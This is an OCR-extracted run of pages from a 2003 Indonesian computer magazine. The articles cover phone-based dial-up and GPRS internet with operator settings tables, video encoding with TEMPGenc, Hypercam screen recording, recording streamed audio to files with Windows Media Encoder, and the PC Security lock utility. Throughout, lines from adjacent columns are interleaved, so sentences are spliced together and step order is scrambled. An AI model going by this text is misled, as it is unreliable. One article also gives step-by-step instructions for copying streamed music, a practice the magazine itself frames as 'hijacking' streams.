adalah Nokia 8210) dan down- tombol Adds dan pada jendela modem; I will select from the list
load PC Suite dan modem setup/ Install New Modem, pilih] Other lalu klik Next. Akan tampil jendela
driver untuk model itu dan install sebagai jenis modem yang akan dialog Install New Modem. Cari HP
di komputer anda. di-install. Klik Next. anda pada Nokia Mobile Phones.

CONFIGURE DEVICE NOMOR TELEPON ISP DIAL-UP PROPERTIES


7 Klik tombol Configure untuk me-
nampilkan Nokia 8210 Properties.
8 Masukkan nomor telepon ISP yang
akan anda hubungi. Pada contoh ini
9 Akan terbentuk icon IndoNet, suatu
Dial-Up Networking baru. Pada icon
Terlihat di sini bahwa Port yang adalah Indonet dengan nomor itu klik kanan dan pilih Properties
digunakan adalah Virtual Infrared 00162215272888. Contoh ini ada- untuk menampilkan jendela dialog
COM Port dan Maximum speed HP lah nomor panggil Indonet yang di- untuk koneksi yang baru kita ben-
ini 19200 (bps) yang dapat anda dial dari Singapore. Kalau anda di tuk ini. Pilih tab Server Type. Pada
ubah. Klik OK untuk kembali ke Jakarta, nomor yang dimasukkan Type of Dial-Up Server pilih PPP,
jendela dialog Make New Connection cukup 5272888 saja. Klik Next lalu Internet, Windows NT Server, Win-
dan klik Next. Finish. dows 98.

8 NeoTek Sep/Okt 2003


NeoStart

IM3 Satelindo Excelcom Telkomsel


Parameter-parameter untuk membuat profil CSD di handphone anda
1 Settings name M3-CSD Satelindo-CSD Excelcom-CSD Telkomsel-CSD
2 Homepage http://wap.indosat-m3.net http://satwap http://202.158.36.186/ http://wap.telkomsel.com
xlcomnokia.wml wml/
3 Session mode temporary temporary temporary temporary
4 Connection security off off off off
Nokia 3310/3330 datacable 5 Data bearer GSM Data GSM Data GSM Data GSM Data
6 Dial-up number 366 333 288 8789
7 IP address 010.019.019.019 202.152.162.250 202.151.032.014 10.1.89.130
pat kalinya. Memang bukan kecepatan 8 Authentification type normal normal normal normal
akses yang nyaman untuk browsing, 9 Data call type ISDN ISDN ISDN ISDN
namun sudah memadai apabila digu- 10 Data calls speed 9600 9600 9600 9600
11 Login type automatic automatic automatic automatic
nakan untuk mengakses email. 12 User name csd wap proxi wap
13 Password im3 wap wap wap123
Pada artikel ini dicontohkan menggu- 14 Port 9201 9201 9201 9201
nakan handphone (lama) Nokia 8210
(atau 8250) yang sudah mendukung Apabila handphone anda belum mem- Setting CSD untuk operator ponsel di
WAP dan mempunyai port inframe- punyai port inframerah (Nokia 3330/3410) Indonesia dapat dilihat pada tabel. Per-
rah dan laptop yang juga mempunyai maka koneksi ke laptop dapat melalui hatikan terutama dial-up number,
port inframerah (IrDA). port serial. Nokia 3310 belum bisa WAP. user name, password, dan IP address.

PORT KOMUNIKASI PERIKSA MODEM MAKE NEW CONNECTION


4 Tekan Next dan akan tampil jendela
dialog untuk menetapkan port
5 Kembali ke Control Panel dan
double click pada icon Modems
6 Pilih My Computer dan double
click pada icon Dial-Up Networking
untuk modem ini. Pilih Virtual dan akan terlihat bahwa kini yang akan menampilkan jendela
Infrared COM Port dan klik Next. telah terdapat HP anda sebagai dialog Dial-Up Networking. Double
Anda diminta menunggu Windows modem. Pilih tab Diagnostics click Make New Connection dan
menginstal modem anda dan akan untuk melihat Port apa yang jendela dialog Make New Connection
tampil pesan bahwa modem te- digunakan oleh HP ini. Terlihat akan tampil. Tetapkan nama ko-
lah berhasil di-install. Klik Finish. pada contoh adalah COM4. neksi dan HP kita sebagai device.

SERVER TYPE KENALI LAGI MODEMNYA MEMBENTUK KONEKSI


10 Pada Advanced Option hanya Log on
to network yang dipilih. Pada
11 Aktifkan infrared pada HP anda dan
posisikan pada IrDA port komputer
12 Double click icon IndoNet dan jendela
dialog Connect To akan tampil. Ma-
Allowed network protocols hanya anda. Komputer akan mengenali sukkan user name dan password
pilih TCP/IP. Klik tombol TCP/IP dan HP anda sebagai modem yang anda dan koneksi ke ISP anda pun
tetapkan Server Assigned IP Address, serupa Nokia 8210 #2. Modem akan terbentuk. Setelah ini anda
Server Assigned name server address, ‘baru’ ini yang harus digunakan dapat menjalankan browser atau-
dan Use default gateway on remote untuk koneksi (bukan yang kita pun email client pada laptop anda,
network. Klik OK. tetapkan sebelumnya). Untick Use walaupun ada di kereta api, misalnya.
area code and Dialing Properties. Tidak terlalu cepat memang.

Sep/Okt 2003 NeoTek 9


NeoStart

I NTE RN ET LEWAT H P
ONEKSI INTERNET DENGAN HANDPHONE
K lewat komunikasi data CSD memang
masih jauh dari memuaskan, kare-
na sebenarnya memang dirancang untuk

DIAL-U P I NTE RN ET layanan WAP pada narrow-band.


Kini operator GSM mulai menyediakan la-
yanan GPRS (General Packet Radio Service)

KE OPERATOR GPRS yang jauh lebih cepat.


GPRS pada dasarnya menyalurkan data
dengan kecepatan 14400 bps per timeslot.
Jadi GPRSClass 1 dengan satu slot down-
GPRS menyalurkan data 14400 bps per slot-nya, tetapi kini di link dan 1 slot uplink hanya dapat menya-
Indonesia dan Singapore sudah terdapat handpone dengan lurkan data dengan kecepatan 14400 bps
multiple GPRS slot. Sony Ericsson T610 dan Nokia 3650 baik downlink maupun uplink.
GPRS yang dioperasikan di Indonesia mau-
adalah contoh GPRS Class 8 dengan 4 slot downlink dan 1 pun Singapore adalah GPRS Class 8 dengan
slot uplink (4+1). Artinya download sampai 57600 bps. 4 slot downlink dan 1 slot uplink. Jadi anda

Akses Internet lewat handphone kini bisa lebih cepat dibandingkan dial-up biasa.

INSTAL COMMUNICATION SUITE INSTALL NEW MODEM DON’T DETECT MODEM


1 Instal Communication Suite yang
diantaranya berisi modem driver.
2 Pilih Start > Settings > Control Panel
dan double click icon Modems
3 Beri tanda tick pada Don’t detect
my modem; I will select from the list
Bila menggunakan handphone untuk menampilkan jendela lalu klik Next. Akan tampil jendela
Nokia, instal PC Suite dan modem dialog Modems Properties. Klik dialog Install New Modem. Cari
driver/modem setup. Beberapa tombol Adds dan pada jendela Sony Ericsson T610 Series IR modem
jenis PC Suite dan modem driver Install New Modem, pilih] Other pada Sony Ericsson Mobile
untuk berbagai handphone dise- sebagai jenis modem yang akan Communications. Klik Next untuk
diakan dalam CD NeoTek kali ini. di-install. Klik Next. melanjutkan.

NOMOR OPERATOR GPRS TANPA AREA CODE/PROPERTIES SERVER TYPE


7 Masukkan nomor telepon Operator
GPRS yang akan anda hubungi.
8 Koneksi terbetuk. Klik Finish. Se-
lanjutnya pada icon dial-up net-
9 Pilih tab Server Type. Pada Type of
Dial-Up Server pilih PPP, Internet,
Pada contoh ini adalah M1 Sunsurf working yang terbentuk klik kanan Windows NT Server, Windows 98.
dengan nomor panggil modem untuk menampilan Properties. Untick Pada Advanced Option hanya Log on
*99***3# (Bila dial ke IM3: *99***1# pada Use area code and Dialing Pro- to network yang dipilih. Pada Allowed
dan bila ke Telkomsel *99#). Klik perties. Klik OK untuk melanjutkan. network protocols hanya pilih TCP/IP.
Next lalu Finish. Klik tombol TCP/IP Settings dan tetap-
kan Server Assigned IP Address dan
Server Assigned name server address.

10 NeoTek Sep/Okt 2003


NeoStart

dapat men-download dengan kecepatan IM3 Telkomsel M1 Sunsurf Singtel Mobile


57600 bps dan uplink 14400 bps dan ini Setting Modem GPRS pada Handphone
tergantung pada jenis handphone-nya. 1 Setting name M3-GPRS APN-Internet Sunsurf Mobile Singtel Mobile
2 Homepage http://wap.indosat-m3.net http://wap.telkomsel.com http://wapsvr.m1.com.sg:8000/ http://www.e-ideas.com.sg
Contoh yang digunakan pada artikel ap/m1home.wml
ini adalah Sony Ericsson T610 yang 3 GPRS access point www.indosat-m3.net internet mobilenet e-ideas
4 GPRS connection when needed when needed when needed when needed
menyediakan GPRS Class 8 (4+1), 5 Session mode permanent permanent permanent permanent
HSCSD Class 2 (2+1). Digunakan ko- 6 Connection security off off off off
7 Data bearer GPRS GPRS GPRS GPRS
neksi inframerah (bukan bluetooth). 8 IP address 010.019.019.019 010.001.089.130 172.016.001.023 172.016.001.023
Di Indonesia baru dua operator yang 9 Authentication type normal normal normal normal
10 Login type automatic automatic automatic automatic
menyediakan layanan GPRS: IM3 dan 11 User name gprs wap 65xxxxxxxx 65xxxxxxxx
Telkomsel. Satelindo secara terbatas 12 Password im3 wap123 user123 123456
13 Port 9201 9201 9201 9201
juga menyediakan layanan ini (semen-
Konfigurasi pada Laptop
tara baru di Medan dan Batam).
1 Dial-up number *99***1# *99# *99***3# *99#
Setting yang dilakukan pada handphone 2 User name gprs wap 65xxxxxxxx 65xxxxxxxx
sama pentingnya dengan yang dilaku- 3 Password im3 wap123 user123 123456
4 Server types TCP/IP TCP/IP TCP/IP TCP/IP
kan pada laptop agar koneksi ini ber- 5 Maximum speed 57600 57600 57600 57600
hasil dengan baik.

PORT KOMUNIKASI PERIKSA MODEM NEW CONNECTION/PROPERTIES


4 Tekan Next dan akan tampil jendela
dialog untuk menetapkan port
5 Kembali ke Control Panel dan
double click pada icon Modems
6 Pada jendela dialog Dial-Up Net-
working, double click Make New
untuk modem ini. Pilih Virtual dan akan terlihat bahwa kini Connection. Tetapkan Sony Ericsson
Infrared COM Port dan klik Next. telah terdapat HP anda sebagai T610 Series IR modem sebagai
Anda diminta menunggu Windows modem. Pilih tab Diagnostics device. Anda bisa mengubah
menginstal modem anda dan akan untuk melihat Port apa yang Properties koneksi ini dengan klik
tampil pesan bahwa modem te- digunakan oleh HP ini. Terlihat kanan pada icon-nya.
lah berhasil di-install. Klik Finish. pada contoh adalah COM4.

TCP/IP SETTINGS DIAL KE OPERATOR GPRS KONEKSI TERBENTUK


10 Untick Use IP header compression
tapi pilih Use default gateway on
11 Setelah mengaktifkan inframerah
pada handphone dan memposisi-
12 Terlihat koneksi terbentuk dengan
kecepatan 115.200 bps (maksi-
remote network. Klik OK. Perhatikan kannya pada IrDA laptop, double mum). Kecepatan ini sudah cukup
bahwa setting pada Langkah 8 dan click dial-up connection ini. Pada nyaman untuk browsing. Hati-hati,
9 ini berbeda apabila mengguna- M1 Sunsurf user name adalah pada layanan GPRS anda akan
kan IM3. Lihat di sini petunjuknya: 65xxxxxxxx (xxxxxxxx adalah nomor ditagih biaya berdasarkan byte yang
http://www.m3-access.com/m3zone/ handphone) dan password-nya ditransfer bukan lama koneksi (se-
setting/gprs_lap.asp?it=1&is=3&isc=4 user123. Bila IM3 user name gprs perti apabila telepon suara atau
&ix=12 dan password im3 CSD).

Sep/Okt 2003 NeoTek 11


NeoStyle

BA S I C V I D E O E D I T I N G
Encoding dengan TEMPGenc
Andi Ismayadi (Fuzk3_kendi@yahoo.com) memulai bahasan tentang basic video editing
yang dimulai dengan proses encoding. Disini dibahas encoding terhadap file, sedangkan
encoding terhadap streaming video dikenal sebagai video capture dan dibahas di bagian lain.
NTUK MENGEDIT VIDEO, SEBELUMNYA ANDA HARUS hindari apabila anda memiliki
U menginput video yang anda akan edit itu ke dalam
format yang dapat dimengerti oleh PC. Encoding
PC yang berkualitas dan ber-
tenaga tinggi.
Video editing pada dasar-
nya adalah proses-proses
sebagai berikut:
memungkinkan anda memperkecil file yang harus disimpan Lamanya proses encoding diten- • Encoding
ataupun diolah oleh PC sehingga PC tidak terbebani oleh tukan dari besarnya file video • Cutting
file Video tadi yang sebegitu besarnya sehingga dapat yang akan di-encode/convert • Combining
mengakibatkan hang/crash-nya sebuah PC. itu. Ketika anda sedang melaku- • Editing
Encoding adalah proses mengkonversi format VCD atau- kan encoding lebih baik men-set • Encoding (lagi)
• Burning
pun format digital video lainnya ke bentuk MPEG-1 (VCD) Auto Shutdown yang terdapat
ataupun MPEG-2 (DVD). Banyak softwarer ripping/encoding dalam TEMPGenc.
di pasaran seperti TEMPGenc, VirtualDub, bahkan video Ada dua jenis encoding yaitu, loseless compression yang
editing tools seperti Adobe Premiere, Pinnacle, Ulead proses disini proses encoding tidak membuang informasi
VideoStudio, dan lain-lain juga menyertakan fasilitas yang dipandang tidak perlu, namun hanya mengaturnya
meng-encode video itu dalam dalam fasilitas mereka. agar lebih "hemat" space.
Diantara sekian banyak software, encoding yang bagus Yang kedua adalah lossy compresion, yang disini akan
menurut saya adalah TEMPGenc dan VirtualDub. Saya membuang informasi tambahan yang dipandang tidak
cenderung menggunakan TEMPGenc karena TEMPGenc perlu sehingga tempat yang diperlukan lebih sedikit,
jarang sekali crash sehingga lebih nyaman penggunaanya. walaupun jenis ini akan memakan lebih sedikit tempat
VirtualDub sering crash, namun menghasilkan kualitas dibandingkan lossless compresion tetapi akan membuang
diatas TEMPGenc (VirtualDub dibahas di NeoTek III/10). informasi.
Dalam proses meng-encode video saya anjurkan menutup Lossy compresion sendiri ada tiga jenis, MPEG-1 (untuk
semua program apapun kecuali program text processor VCD/SVCS), MPEG-2 (untuk DVD), dan MPEG-4 (un-
seperti Ms Word atau Notepad. Ini karena encoding ba- tuk Streaming Video di internet).
nyak memakan tenaga dari PC itu, tapi hal itu dapat di-

Langkah-langkah Encoding

Kita buka file video yang akan kita encode, bisa dalam Untuk DVD, NTSC memiliki resolusi 720x480 dengan ting-
1 format .AVI maupun .DAT, dalam contoh ini saya akan
meng-Encode format .DAT ke .MPEG-1 (untuk vcd). 2 kat kecepatan frame gambar 29.97 fps, lebih bagus diban-
dingkan PAL, tapi PAL memungkinkan penggunaan resolusi
Setelah itu kita buka TEMPGenc, untuk mulai meng- diatas 720x480, tapi kecepatan frame gambarnya diperkecil
Encode menjadi 25 fps. Dalam praktek ini saya menggunakan PAL
Ketika membuka TEMPGenc kita langsung disuguhkan karena ketika video sudah jadi gambar tidak terlalu pecah-
dengan dua jenis standar transmisi video yang terdapat pecah ketika di-zoom, walaupun ada bagian/adegan yang
dalam setiap file video di seluruh dunia, PAL dan NTSC. agak lambat. Untuk VCD dan SVCD tidak jauh berbeda,
Apa bedanya? hanya saja resolusinya lebih kecil dibandingkan DVD.

12 NeoTek Sep/Okt 2003


NeoStyle

Sesudah kita memilih PAL sebagai system transmisi vi- Sesudah itu akan muncul kembali bar baru untuk men-
3 deo, selanjutnya kita akan diminta untuk memasukkan
file video yang akan di-encode. Sewaktu mencari file- 4 set Filter terhadap source video. Kita gunakan Default
Option saja karena pilihan ini dianjurkan untuk yang
nya kita bisa melihat format apa saja yang dikenali sudah mahir dalam mengedit video.
TEMPGenc untuk di-encode. Kalau kita membuka file
.DAT, yang artinya kita buka dari VCD (terdapat dalam
folder mpegav), nama file tersebut sering kali bernama
Avseq1.DAT dan jarang sekali namanya lain daripada itu.

Setelah melalui settingan tadi kini kita tinggal melihat


6 proses encoding berlangsung. Ini adalah proses yang
paling banyak memakan waktu.

Selanjutnya akan muncul report dari settingan tadi, kita


5 dapat lihat disini terdapat report dan bitrate setting kalau
kita klik tombol Expert yang ada di samping kanan. Kita
tidak usah mengotak-atiknya, disini terdapat pula report
besarnya/lama film itu akan berjalan. Sesudahnya akan
muncul pilihan untuk menyimpan file video yang akan
di-encode tadi.

Untuk menghemat waktu, sebaiknya display gambar yang


7 terdapat di tengah layar encoding di-non-aktifkan saja,
caranya kita buka menu Option > Preview Option > Do Not
Display. Apabila dengan opsi tersebut proses masih terasa
lambat (hal ini tergantung pada spesifikasi komputer dan
besar file video yang di-encode) aktifkan menu Auto Shut
Down, setelah itu tekan tombol OFF layar komputer, tapi
jangan mematikan komputer anda. Tinggalkan beberapa
menit (tergantung spesiikasi komputer dan besar file).
Setelah proses encoding selesai komputer akan shut down
sendiri opsi tersebut. Setelah itu anda tinggal melakukan
tahap berikutnya, yaitu Cutting.

Sep/Okt 2003 NeoTek 13


NeoStyle

HYP E RCAM v. 1.71.00


Tool Keren untuk e-Tutor
Andi Ismayadi (Fuzk3_kendi@yahoo.com) memperkenalkan Hypercam, tool untuk pengajaran
yang dapat digunakan oleh para guru ataupun trainer pada kursus komputer. Bahan pengajaran
interaktif kini dapat dibuat oleh siapa saja untuk memudahkan para siswa belajar sendiri.
ALAH SATU BAGIAN LAGI DARI MULTIMEDIA PC ADALAH yang tinggi. Sebelumnya anda harus mempunyai pemu-
S e-tutor atau electronic tutorial. E-tutor adalah
suatu tutor yang langsung dapat kita saksikan di
tar video RealPlayer (h
http://www.real.com) untuk dapat
memutar hasil e-tutor anda. Untuk itu apabila anda ingin
komputer kita, hal ini dapat tentunya sangat bagus meng- membuat e-tutor mari ikuti langkah-langkah di bawah.
ingat biaya, waktu, dan tempat yang besar dan tak tersedia Alternatif Gratis e-Tutor Tool
bila kita menyaksikan tutor tatap muka langsung dengan
penyaji tutor itu. Selain Hypercam, terdapat alternatif gratis dari Microsoft,
yaitu Windows Media Encoder. Memang Windows Media
Apabila anda merupakan orang yang sibuk dan ingin me- Encoder bukan ditujukan untuk membuat bahan peng-
nambah pengetahuan dengan mempelajari tutor dengan ajaran, melainkan untuk menciptakan streaming content
langsung mempraktekkannya, atau anda adalah seorang untuk Internet.
guru, pengajar, ataupun seorang penyaji yang ingin mem-
buat tutor tetapi para murid atau para peserta workshop/ Walaupun demikian, Windows Media Encoder dapat juga
seminar anda, ingin mempraktekkannya di rumah langsung digunakan untuk menciptakan file e-tutor, sebab dapat
dengan bimbingan anda, Hypercam adalah tool yang da- membentuk file video dengan cara meng-capture compu-
pat memecahkan masalah tersebut ter screen, serta dilengkapi dengan fasilitas audio input
melalui microphone.
Download Hypercam di http://www.hyperionics.com/,
untuk versi trialnya anda dapat menjalankannya walau- Anda dapat mengajarkan pemakaian suatu software, mi-
pun nantinya anda akan melihat kata-kata Unregistered salnya dengan merekan apa yang terjadi di layar kom-
version di pojok kiri atas layar anda, untuk membuatnya puter sambil memberikan keterangan lisan melalui mic.
menjadi full version anda dapat membeli di situsnya. Hasil capture akan berupa file dengan format wmv
(Windows Media Video).
Hypercam tidak memaksa komputer anda untuk memakai
spesifikasi yang tinggi, tapi untuk optimasi-optimasi lain ‘Penyalahgunaan’ lain dari Windows Media Encoder adalah
yang membuat e-tutor ini lebih lancar dalam file video- untuk meng-capture audio atau video stream dari Inter-
nya nanti anda dapat menggunakan sepsifikasi komputer net menjadi file, seperti dibahas pada artikel selanjutnya.

Bisa Apa Saja dengan Hypercam?

Buka Hypercam. Pertama kali anda membuka akan Dengan menggunakan Select Region Button anda dapat
1 tampil pesan yang berpromosi agar anda membeli tool
ini. Tampilan awal Hypercam akan berupa Tab Screen 2 men-set sendiri lebar layar anda dengan cara men-drag
mouse anda seperti terlihat di gambar.
Area, yang di sini anda dapat men-set panjang dan
lebar layar yang akan di-shot. Lalu ada tombol-tombol
properties Hypercam, seperti Hide Hypercam Window,
Flashing Border ketika recording, dan optimasi pere-
kaman dengan menggunakan fasilitas DirectX.

14 NeoTek Sep/Okt 2003


NeoStyle

Apabila anda mengaktifkan tombol Hide Windows-nya, Setelah itu, di sebelahnya ada Tab AVI File yang meru-
3 anda akan kerepotan apabila tidak mengetahui tombol
shortcut atau Hot Key-nya. Pada Tab Hot Key anda dapat 4 pakan konfigurasi file output anda dan opsi-opsi lainnya.
File output akan di-save menjadi format video .AVI.
menyesuaikan tombol mana yang akan dijadikan hot
key dari play/stop recording atau Single Frame shot

Untuk merekam suara anda ke dalam e-tutor tadi, per- Anda dapat melihat video e-tutor anda nanti dengan
5 tama yang anda butuhkan adalah microphone yang di-
colokan ke sound card anda, lalu men-setting-nya di Tab 6 menggunakan Real Player, nah disini terlihat apabila
anda menggunakan versi yang belum terregistrasi di
Sound, disini anda dapat memilih berbagai macam kua- pojok kiri layar anda terlihat kata Unregistered Version.
litas suara yang akan anda hasilkan nantinya.

Pada situs http://www.hyperionics.com/ anda dapat membeli Belum siap untuk keluar uang membeli Hypercam full ver-
7 full version-nya dan menghilangkan kata-kata tadi. Setelah
itu anda masukan Serial Numbernya ke Tab License, sesu- 8 sion? Gunakan saja Windows Media Encoder (ada di CD
NeoTek kali ini) yang salah satu fungsinya adalah capture
dah dimasukkan, silahkan menikmati full version-nya. screen activity lengkap dengan input suara dari microphone.

Sep/Okt 2003 NeoTek 15


NeoStyle

MEDIA ENCODER
ERNAH MERASA JENGKEL KARENA TIDAK
P dapat men-download musik kesa-
yangan anda karena server-nya ha-
nya menyajikan stream audio dan bukannya

MEMBAJAK AUDIO STREAM file yang dapat di-download?


Kini masalah ini dapat diatasi, dan solusi-
nya justru datang dari Microsoft. Kita sudah

MENJADI AUDIO FILE mengenal Windows Media Player yang pada


dasarnya adalah suatu decoder yang men-
decode bermacam-macam file audio/video
kembali menjadi audio/video stream.
Windows Media Encoder diluncurkan oleh Microsoft sebagai Kini Microsoft menyajikan Windows Media
solusi untuk penciptaan multimedia content untuk Internet, mulai Encoder yang merupakan kebalikan dari
skala kecil sampai enterprise dan mulai dari narrowband sampai Windows Media Player, yaitu men-encode
live performance untuk menciptakan multi-
broadband dan mobile media. Selain itu dapat pula ‘disalah- media content untuk delivery lewat web
gunakan’ untuk konversi stream audio/video menjadi file. maupun dimainkan di PC.

Audio stream dari RealOne Player dengan mudah dikonversi menjadi file WMA

DOWNLOAD MEDIA ENCODER MENJALANKAN WME SESSION SELECTION


1 Download Windows Media Encoder
dari http://www.microsoft.com/
2 Jalankan Windows Media Encoder
dari Start > Programs > Window
3 Session Selection ada tiga opsi lagi.
Pilih yang kedua: Capture audio or
windows/windowsmedia/wm7/enco Media > Windows Media Encoder video from attached devices or comp-
der.aspx atau dapatkan dari CD dan akan tampil welcome screen. uter screen. Opsi pertama adalah
NeoTek. Instalasi software ini Opsi yang kita pilih adalah yang untuk live broadcast dan yang ketiga
sangat mudah. Ikuti saja langkah- pertama: Broadcast, capture, or con- untuk mengkonversi file menjadi
langkahnya. vert a file using the New Session windows media file. Untick Begin
Wizard. Klik OK untuk melanjutkan. capturing when the wizard finished.

PROFILE SELECTION DISPLAY INFORMATION SIAP UNTUK CAPTURE


7 Pilih profile yang paling mende-
kati untuk mutu sumber yang
8 Hasil capture dapat diberi label Title,
Author, Copyright, Rating, dan Des-
9 Windows Media Encoder siap untuk
meng-capture dari device yang dite-
akan di-capture. Pilih Audio CD- cription. Ini hanya penting untuk tapkan. Pada saat ini lepas speaker
quality (96 Kbps stereo) berdasar- broadcast; jadi kosongkan saja dan dari port-nya dan hubungi speaker
kan keterangan yang paling men- klik Next untuk menampilkan Setting port ke line-in port pada sound card
dekati spesifikasi yang kita ketahui/ Review. Klik Finish untuk memulai yang sama. Klik OK terhadap pesan
duga. Klik Next untuk melanjutkan. capture atau Back apabila ada yang tampil untuk memulai
setting yang hendak diubah. encoding.

16 NeoTek Sep/Okt 2003


NeoStyle

Selain untuk tujuan utamanya, Windows audio ke audio yang dapat anda beli di multimedia streaming content di Inter-
Media Encoder dapat ‘disalahgunakan’ toko-toko elektronik atau mengguna- net pada berbagai kecepetan koneksi
untuk mengkonversi audio/video stream kan adaptor yang menghubungkan mulai dari dial-up modem sampai broad-
menjadi file format WMA (Windows kedua port RCA audio (merah dan band maupun
Media Audio) atau wmv (Windows Me- putih) ke port tunggal audio yang me- mobile media
dia Video). rupakan jenis port baik untuk speaker content.
Tidak ada tambahan hardware apapun maupun line-in pada audio card.
pada komputer anda (kecuali mungkin Persyaratan hardware pun tidak perlu
kabel audio yang sesuai dengan port- tinggi-tinggi, kecuali bila anda ingin
port yang akan digunakan). menggunakan Windows Media Enco-
Audio source anda adalah speaker port der untuk men-encode video stream.
pada audio card anda dan dari sini di- Bahasan tentang cara meng-encode
feed ke line-in pada audio card yang video stream terdapat pada NeoReview
sama. Dengan cara ini hasil encode da- edisi ini dan cara ini yang lebih dian-
ri stream audio akan bebas noise dan jurkan untuk keperluan pribadi dari-
mutunya sebaik sumbernya. Anda pada Windows Media Encoder yang keluar dari speaker port
harus mempunyai kabel dengan jack diarahkan untuk pengembangan masuk ke line-in port

DEVICE OPTIONS JALANKAN REALONE PLAYER FILE YANG DIBENTUK


4 Next masuk ke Device Options. Untick
video (kita hanya akan meng-capture
5 Buka browser dan masuk ke situs
yang menyediakan audio stream.
6 Karena lagu yang akan di-capture
adalah She Wears My Ring dari
audio) dan pilih audio device sound Dalam contoh ini adalah situs di Elvis Presley, namakan file yang
card anda. Klik Configure untuk me- http://www.geocities.com/elvis_pre akan dibentuk sewaktu capture
milih Line-in dan tick Enable untuk sley_cd_rom/samples/samples.html sebagai C:\she_wears_my_ring
line-in. Opsi lain mencakup Aux, Jalankan satu lagu kemudian (secara otomatis akan mendapat-
CD Player, Microphone, Phone Line, hentikan (jadikan stand by untuk kan ekstensi .wav). Klik Next un-
Mono Mix, dan Stereo Mix. di-capture). tuk melanjutkan.

ENCODING BERLANGSUNG ENCODING RESULT NEW SESSION WIZARD


10 Jalankan RealOne Player yang dilan-
jutkan dengan klik tombol Start
11 Akan tampil layar dialog Encoding
Result. Klik View Output File untuk
12 Anda dapat meng-capture audio
stream berikutnya dengan meng-
pada Windows Media Encoder. melihat hasilnya. Sebelum itu klik Session > New Session Wizard
Setelah satu lagu itu selesai di- kembalikan jack speaker ke speaker dan ikuti langkah-langkahnya se-
mainkan (dan di-capture) klik port di sound card anda. Secara perti dibahas sebelumnya. Jangan
tombol Stop. Klik Yes terhadap default Windows Media Player lupa melepas kembali jack speaker
pesan Are you sure you want to akan di-launch dan memainkan dari sound card dan kembali hu-
stop encoding? file yang baru anda capture. bungkan port speaker dengan line-
in pada sound card yang sama.

Sep/Okt 2003 NeoTek 17


NeoTekno

PC S E C U R IT Y
Satpam Komputer Anda
Keamanan komputer bukan saja terhadap ancaman yang datang lewat
network atau Internet, melainkan juga dari tangan-tangan jahil atau
kebodohan teman sendiri. Eryanto Sitorus (ery@postmaster.co.uk)
membahas PC Security untuk anda
EBAGAI PEMILIK KOMPUTER YANG PENGGUNAANNYA LE- Jangan lupa bahwa agar anda nanti bisa mengakses program
S bih banyak dipakai untuk kepentingan pribadi, saya
yakin anda tentu tidak ingin orang lain bisa semba-
ini, maka setiap kali program ini dijalankan, anda akan di-
minta memasukkan kata sandi (password) terlebih dahulu.
rangan meminjam/memakai komputer pribadi anda. Anda
pasti akan sangat khawatir bila yang meminjam itu bukan-
nya cuma sekedar meminjam, tapi malah mengobrak-abrik
seluruh data/program yang ada di komputer anda.
Dan satu hal lagi yang paling anda takutkan adalah, jangan-
jangan orang tersebut nanti malah dial-up ke ISP, chatting,
check mail, atau surfing ke dalam situs-situs yang tidak se-
nonoh tanpa mengenal rasa malu dan waktu.
Benar atau tidak dugaan saya, yang jelas apa yang diilustra-
sikan di atas adalah contoh satu permasalahan yang sering
dialami para pemilik PC (Personal Computer), khususnya
mereka yang masih menggunakan Windows sebagai opera-
ting system. Nah, jika ternyata anda memang sering atau
setidaknya pernah mengalami masalah seperti itu, sekarang
anda tidak perlu merasa risau, gelisah, atau khawatir lagi
karena sudah ada software yang bisa dimanfaatkan untuk
mengatasinya, yaitu dengan PC Security.
Namun sebelum saya mulai menjelaskan bagaimana cara
program ini nanti bisa melindungi dan menjaga privacy Gambar 2. Memasukkan kata sandi
komputer anda dari orang-orang yang lebih suka meminjam
daripada membeli, saya ingin menegaskan bahwa PC Secu- Karena baru pertama kali ini anda menjalankannya, maka
rity hanya bisa dijalankan pada Windows 95/98/ME/2000/XP ketiklah SECURITY sebagai kata sandinya.
atau NT. Sedangkan spesifikasi hardware yang perlu anda Kemudian langkah berikutnya (sesuai dengan apa yang te-
siapkan agar ia bisa bekerja secara optimal, adalah: lah dipesankan kepada anda), gantilah password yang per-
• Komputer: IBM or compatible tama kali anda ketik tadi dengan password yang lain berda-
• Processor : Pentium/compatible or higher
• RAM : 32MB or higher
Dan sekedar tambahan informasi lagi buat anda, PC Security
adalah milik perusahaan Tropical Software yang dikembang-
kan oleh Silvio Kuczynski, Chris Whitten, dan Erik Curre.
Sebelum di-instal, ukuran filenya hanya 938KB saja. Jadi
kalau anda nanti memang berniat ingin menginstalnya di
komputer anda sendiri, downloadlah software tersebut di
http://www.tropsoft.com.
Nah, setelah software tersebut selesai anda download dan
instal, sekarang marilah kita lihat bersama-sama, apa saja
yang bisa dilakukan PC Security terhadap komputer kita.
Mengoperasikan PC Security
Pertama-tama, jalankan dulu
program yang baru anda instal
tadi dari Start > Programs > PC
Security for Windows > PC
Security, atau double-click ikon
PC Security dari menu toolbars
seperti terlihat pada Gambar 1.
Gambar 3. Tampilan program PC Security
Gambar 1. Ikon PC Security

18 NeoTek Sep/Okt 2003


NeoTekno

sarkan pilihan anda sendiri. Untuk mengubah kata sandi


program PC Security, caranya adalah sebagai berikut:
1. Klik menu Settings
2. Klik tab Password
3. Pada opsi Select password to change, pilih Master
4. Ketik SECURITY sebagai Current Password
5. Ketik password yang baru ke dalam field New Password
dan Verify New Password
6. Klik tombol OK
Sebelum anda meng-
klik tombol OK untuk
menutup jendela Set- Gambar 6. Mengunci file-file data.
tings, pastikanlah bahwa
anda sudah mengaktif-
kan semua opsi security
yang ditawarkan PC
Security, misalnya se-
perti opsi Extra Pass-
words yang terdapat
pada tab Password dan
tab Admin. Semua itu
akan sangat penting
Gambar 4. Mengubah kata sandi artinya demi tercapai-
(password) program. nya keamanan yang
lebih tinggi.
Jika anda sudah yakin
terhadap opsi-opsi yang
anda pilih pada jendela
Settings, tutuplah jende-
la itu dengan mengklik Gambar 7. Pesan bahwa file yang telah dikunci tidak bisa dibuka
tombol OK, lalu mulai-
lah melakukan tindakan 2. Window Lock
pengamanan. Pada main Fungsi utama program ini adalah untuk mengunci program-
page program PC Secu- program aplikasi yang sedang aktif pada saat itu. Berikut ini
rity, kita bisa melihat adalah petunjuk penggunaannya:
bahwa ada sebanyak 9
Gambar 5. Mengaktifkan semua opsi buah menu security yang • Klik menu Window Lock
security. • Klik tombol Add Title Pattern
bisa dimanfaatkan, yaitu:
• Klik panah pada jendela Add a Title Search String untuk
1. File Lock memilih Window Title (aplikasi) yang akan di kunci
2. Window Lock
3. Program Lock Gambar 8.
4. Folder/Drive Lock Memilih
5. Internet Lock Window Title
yang akan
6. System Lock
di-lock
